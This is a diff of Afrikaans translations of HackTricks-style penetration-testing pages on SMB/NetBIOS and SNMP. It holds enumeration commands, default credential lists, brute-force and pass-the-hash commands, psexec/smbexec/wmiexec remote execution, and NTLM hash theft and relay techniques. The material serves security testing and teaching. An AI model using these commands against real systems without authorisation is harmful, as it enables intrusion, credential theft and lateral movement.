Albei opsies sal **'n nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **'n uitvoerbare lêer oplaai** na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\
**Meer inligting** oor [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)en [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash
@ -392,7 +396,7 @@ Gebruik **parameter**`-k` om teen **kerberos** te autentiseer in plaas van **NTL
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Stealthily voer 'n opdrag shell uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\
Stealthily voer 'n opdrag-shel in sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -444,17 +448,17 @@ Dit gebeur met die funksies:
Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word.
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)
![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)
### SMBTrap met MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
## NTLM Diefstal
Soos SMB Trapping, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word.
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word.
[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[ sien: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Outomatiese Opdragte
```

View File

@ -4,13 +4,13 @@
## **Port 139**
Die _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om "te bel" na 'n ander toepassing (wat as die bediener optree) deur gebruik te maak van **TCP Port 139**.
Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "bel" deur gebruik te maak van **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Tegniek is Port 139 bekend as NBT oor IP, terwyl Port 445 geïdentifiseer word as SMB oor IP. Die akroniem **SMB** staan vir **Server Message Blocks**, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knooppunte op 'n netwerk te ondersteun.
Tegniek is Port 139 bekend as NBT oor IP, terwyl Port 445 geïdentifiseer word as SMB oor IP. Die akroniem **SMB** staan vir **Server Message Blocks**, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun.
Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van port 445. Aan die ander kant, op verskillende stelsels, word die gebruik van port 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
```
@ -18,17 +18,17 @@ Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor T
```
### SMB
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes draai, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die werklike struktuur van die bediener sigbaar maak. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliënt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
### IPC$ Share
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Wanneer dit behoorlik gebruik word, stel dit die verkryging van:
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat deur benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Wanneer dit behoorlik gebruik word, stel dit die verkryging van die volgende in staat:
- Inligting oor die bedryfstelsel
- Besonderhede oor die ouer domein
- 'n Samevoeging van plaaslike gebruikers en groepe
- Besonderhede oor die ouerdomein
- 'n Samestelling van plaaslike gebruikers en groepe
- Inligting oor beskikbare SMB aandele
- Die effektiewe stelselsekuriteitsbeleid
@ -54,9 +54,9 @@ nbtscan -r 192.168.0.1/24
```
### SMB bediener weergawe
Om na moontlike exploits vir die SMB weergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
Om te soek na moontlike exploits vir die SMB weergawe, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
- Gebruik die **MSF** bykomende module \_**auxiliary/scanner/smb/smb_version**
- Gebruik die **MSF** bykomende module `**auxiliary/scanner/smb/smb_version**`
- Of hierdie skrif:
```bash
#!/bin/sh
@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Soek eksploit**
### **Soek ontginning**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
@ -82,14 +82,14 @@ searchsploit microsoft smb
### **Mogelijke** Kredensiaal
| **Gebruikersnaam(s)** | **Algemene wagwoorde** |
| --------------------- | ----------------------------------------- |
| _(leeg)_ | _(leeg)_ |
| gasheer | _(leeg)_ |
| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin |
| arcserve | arcserve, rugsteun |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, rugsteun | backupexec, rugsteun, arcada |
| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo |
| ---------------------- | ----------------------------------------- |
| _(leeg)_ | _(leeg)_ |
| gasheer | _(leeg)_ |
| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin |
| arcserve | arcserve, rugsteun |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, rugsteun | backupexec, rugsteun, arcada |
| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo |
### Brute Force
@ -119,7 +119,7 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Lys gebruikers, groepe & ingelogde gebruikers
### Lys gebruikers, groepe & aangemelde gebruikers
Hierdie inligting behoort reeds van enum4linux en enum4linux-ng versamel te wees.
```bash
@ -139,11 +139,11 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
Eenvryslag
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Lys plaaslike gebruikers op
### Metasploit - Enumereer plaaslike gebruikers
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
@ -165,9 +165,9 @@ rpcclient-enumeration.md
`smb://friendzone.htb/general/`
## Gedeelde Mappes Lys
## Gedeelde Lêers Lys
### Lys gedeelde mappes
### Lys gedeelde lêers
Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets kan kry, as jy nie inligting het nie, probeer om **null** **inligting/gaste gebruiker** te gebruik.
```bash
@ -195,11 +195,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Handmatig venstersharinge opnoem en daaraan koppel**
### **Handmatig vensters deel en verbind daarmee**
Dit mag dalk wees dat jy beperk is om enige gedeeltes van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen gedeeltes is om aan te sluit nie. Dit mag dus die moeite werd wees om te probeer om handmatig aan 'n gedeelte te koppel. Om die gedeeltes handmatig op te noem, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die gedeelte bestaan en jy nie toegang daartoe het nie of die gedeelte glad nie bestaan nie.
Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om 'n poging te doen om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige geloofsbriewe). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie.
Gewone gedeeltes name vir venster teikens is
Gewone deelname vir venster teikens is
- C$
- D$
@ -210,14 +210,14 @@ Gewone gedeeltes name vir venster teikens is
- SYSVOL
- NETLOGON
(Gewone gedeeltes name van _**Network Security Assessment 3rd edition**_)
(Gewone deelname van _**Network Security Assessment 3rd edition**_)
Jy kan probeer om aan hulle te koppel deur die volgende opdrag te gebruik
Jy kan probeer om met hulle te verbind deur die volgende opdrag te gebruik
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
of hierdie skrif (met 'n null-sessie)
of hierdie skrif (met 'n null sessie)
```bash
#/bin/bash
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
### **Lys deel van Windows / sonder derdeparty gereedskap**
PowerShell
```powershell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Laai lêers af**
Lees vorige afdelings om te leer hoe om met akrediteerbesonderhede/Pass-the-Hash te verbind.
Lees vorige afdelings om te leer hoe om met akrediteer/Pass-the-Hash te verbind.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -289,36 +289,36 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Commands:
Opdragte:
- mask: spesifiseer die masker wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers)
- recurse: skakel rekursie aan (verstek: af)
- prompt: skakel vrae vir lêernaam af (verstek: aan)
- mget: kopieer alle lêers wat met die masker ooreenstem van die gasheer na die kliënt masjien
- recurse: skakel rekursie aan (standaard: af)
- prompt: skakel die vrae vir lêernaam af (standaard: aan)
- mget: kopieer alle lêers wat met die masker ooreenstem van die gasheer na die kliëntmasjien
(_Inligting van die manblad van smbclient_)
### Domein Gedeelde Gidsen Soektog
### Domein Gedeelde Gidse Soektog
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spinnekop.
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spin.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbesonderhede bevat.
Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbare inligting bevat.
> [!NOTE]
> Die **SYSVOL-gedeelte** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\
> Jy moet die **scripts** daarin **kontroleer** aangesien jy sensitiewe inligting soos **wagwoorde** mag **vind**.
> Die **SYSVOL gedeelde** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\
> Jy moet die **scripts** daarin **kontroleer** aangesien jy **sensitiewe** inligting soos **wagwoorde** mag **vind**.
## Lees Register
Jy mag in staat wees om die **register te lees** met behulp van sommige ontdekte akrediteerbesonderhede. Impacket **`reg.py`** laat jou toe om te probeer:
Jy mag in staat wees om die **register** te **lees** met behulp van sommige ontdekte akrediteerbare inligting. Impacket **`reg.py`** laat jou toe om te probeer:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -334,7 +334,7 @@ Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `
| `read only = no` | Verbied die skepping en wysiging van lêers? |
| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? |
| `guest ok = yes` | Laat toe om aan die diens te koppel sonder om 'n wagwoord te gebruik? |
| `enable privileges = yes` | Eer die voorregte wat aan spesifieke SID toegeken is? |
| `enable privileges = yes` | Eer die priviliges wat aan spesifieke SID toegeken is? |
| `create mask = 0777` | Watter regte moet aan die nuutgeskepte lêers toegeken word? |
| `directory mask = 0777` | Watter regte moet aan die nuutgeskepte gidse toegeken word? |
| `logon script = script.sh` | Watter skrip moet uitgevoer word wanneer die gebruiker aanmeld? |
@ -345,7 +345,7 @@ Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie verbind i
## Authenticate using Kerberos
Jy kan **authentiseer** met **kerberos** deur die gereedskap **smbclient** en **rpcclient** te gebruik:
Jy kan **authentiseer** na **kerberos** met die gereedskap **smbclient** en **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Albei opsies sal **nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **oplaai** 'n uitvoerbare lêer na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\
Albei opsies sal **'n nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **'n uitvoerbare lêer op ADMIN$ deel laai en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload insit --**file-less technique-**-).\
**Meer inligting** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)en [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash
@ -392,7 +392,7 @@ Gebruik **parameter**`-k` om teen **kerberos** te autentiseer in plaas van **NTL
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Stealthily voer 'n opdragskel uit sonder om die skyf te raak of 'n nuwe diens te begin deur DCOM via **poort 135.**\
Stealthily voer 'n opdragskel uit sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -419,7 +419,7 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce gebruikers geloofsbriewe**
## **Bruteforce gebruikers se akrediteerbesonderhede**
**Dit word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry**
```bash
@ -452,9 +452,9 @@ Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word.
## NTLM Diefstal
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](#smb-relay-attack) gebruik word.
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](#smb-relay-attack) gebruik word.
[ sien: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[Siende: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Outomatiese Opdragte
```

View File

@ -15,7 +15,7 @@ PORT STATE SERVICE REASON VERSION
### MIB
Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliënt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **tekst** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliënt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **tekst** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys is. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
### OIDs
@ -39,14 +39,14 @@ Daar is 'n paar **goed bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oi
Hier is 'n ontleding van hierdie adres.
- 1 dit word die ISO genoem en dit vestig dat dit 'n OID is. Dit is waarom alle OIDs met “1” begin.
- 1 dit word die ISO genoem en dit vestig dat dit 'n OID is. Dit is waarom alle OIDs met "1" begin.
- 3 dit word ORG genoem en dit word gebruik om die organisasie wat die toestel gebou het, aan te dui.
- 6 dit is die dod of die Departement van Verdediging wat die organisasie is wat die Internet eerste gevestig het.
- 1 dit is die waarde van die internet om aan te dui dat alle kommunikasie deur die Internet sal plaasvind.
- 4 hierdie waarde bepaal dat hierdie toestel deur 'n private organisasie gemaak is en nie 'n regeringsorganisasie nie.
- 1 hierdie waarde dui aan dat die toestel deur 'n onderneming of 'n besigheid entiteit gemaak is.
- 1 hierdie waarde dui aan dat die toestel deur 'n onderneming of 'n besigheidseenheid gemaak is.
Hierdie eerste ses waardes is geneig om dieselfde te wees vir alle toestelle en hulle gee jou die basiese inligting oor hulle. Hierdie volgorde van nommers sal dieselfde wees vir alle OIDs, behalwe wanneer die toestel deur die regering gemaak is.
Hierdie eerste ses waardes is geneig om dieselfde te wees vir alle toestelle en gee jou die basiese inligting oor hulle. Hierdie volgorde van nommers sal dieselfde wees vir alle OIDs, behalwe wanneer die toestel deur die regering gemaak is.
Gaan voort na die volgende stel nommers.
@ -68,8 +68,8 @@ Die res van die waardes gee spesifieke inligting oor die toestel.
Daar is 2 belangrike weergawes van SNMP:
- **SNMPv1**: Hoof een, dit is steeds die mees algemene, die **authentisering is gebaseer op 'n string** (gemeenskapsstring) wat in **duidelike teks** reis (alle inligting reis in duidelike teks). **Weergawes 2 en 2c** stuur die **verkeer in duidelike teks** ook en gebruik 'n **gemeenskapsstring as authentisering**.
- **SNMPv3**: Gebruik 'n beter **authentisering** vorm en die inligting reis **versleuteld** (dws 'n **woordeboekaanval** kan uitgevoer word, maar dit sal baie moeiliker wees om die korrekte kredensiale te vind as in SNMPv1 en v2).
- **SNMPv1**: Hoof een, dit is steeds die mees algemene, die **authentisering is gebaseer op 'n string** (gemeenskapsstring) wat in **plank teks** reis (alle inligting reis in plain text). **Weergawes 2 en 2c** stuur die **verkeer in plain text** ook en gebruik 'n **gemeenskapsstring as authentisering**.
- **SNMPv3**: Gebruik 'n beter **authentisering** vorm en die inligting reis **geënkripteer** (dws 'n **woordeboekaanval** kan uitgevoer word, maar dit sal baie moeiliker wees om die korrekte kredensiale te vind as in SNMPv1 en v2).
### Gemeenskapsstrings
@ -80,7 +80,7 @@ Daar is **2 tipes gemeenskapsstrings**:
- **`private`** **Lees/Skryf** in die algemeen
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Daar **kan** ook objekte wees wat **altyd "Lees Net"** is.\
As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\*
As jy probeer om 'n objek te **skryf**, ontvang jy 'n **`noSuchName` of `readOnly` fout**.
In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**.
@ -98,7 +98,7 @@ Om die **gemeenskapsstring te raai** kan jy 'n woordeboekaanval uitvoer. Kyk [hi
## Enumerating SNMP
Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken**:
Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken:**
```bash
apt-get install snmp-mibs-downloader
download-mibs
@ -125,32 +125,32 @@ Dankie aan uitgebreide navrae (download-mibs), is dit moontlik om selfs meer oor
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant mag vind, is: **Netwerk interfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse**
**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant sal vind, is: **Netwerkinterfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse**
**wat** loop (kan wagwoorde bevat)....
**wat** (kan wagwoorde bevat)....
### **Gevaarlike Instellings**
In die wêreld van netwerkbestuur is sekere konfigurasies en parameters sleutel tot die versekerings van omvattende monitering en beheer.
In die wêreld van netwerkbestuur is sekere konfigurasies en parameters sleutel tot die verseker van omvattende monitering en beheer.
### Toegang Instellings
Twee hoofinstellings stel toegang tot die **volledige OID boom** moontlik, wat 'n belangrike komponent in netwerkbestuur is:
Twee hoofinstellings stel toegang tot die **volledige OID-boom** moontlik, wat 'n belangrike komponent in netwerkbestuur is:
1. **`rwuser noauth`** is ingestel om volle toegang tot die OID boom toe te laat sonder die behoefte aan verifikasie. Hierdie instelling is eenvoudig en laat onbeperkte toegang toe.
1. **`rwuser noauth`** is ingestel om volle toegang tot die OID-boom toe te laat sonder die behoefte aan verifikasie. Hierdie instelling is eenvoudig en laat onbeperkte toegang toe.
2. Vir meer spesifieke beheer kan toegang toegestaan word met:
- **`rwcommunity`** vir **IPv4** adresse, en
- **`rwcommunity6`** vir **IPv6** adresse.
Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP adres, wat volle toegang bied ongeag die oorsprong van die versoek.
Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP-adres, wat volle toegang bied ongeag die oorsprong van die versoek.
### SNMP Parameters vir Microsoft Windows
'n Reeks van **Bestuur Inligting Basis (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows stelsel deur SNMP te monitor:
'n Reeks **Bestuur Inligting Basis (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows-stelsel deur SNMP te monitor:
- **Stelsel Prosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik.
- **Lopende Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans lopende programme.
- **Prosesse Pad**: Om te bepaal waar 'n proses van loop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik.
- **Hardloop Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans hardloop programme.
- **Prosesse Pad**: Om te bepaal waar 'n proses van hardloop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik.
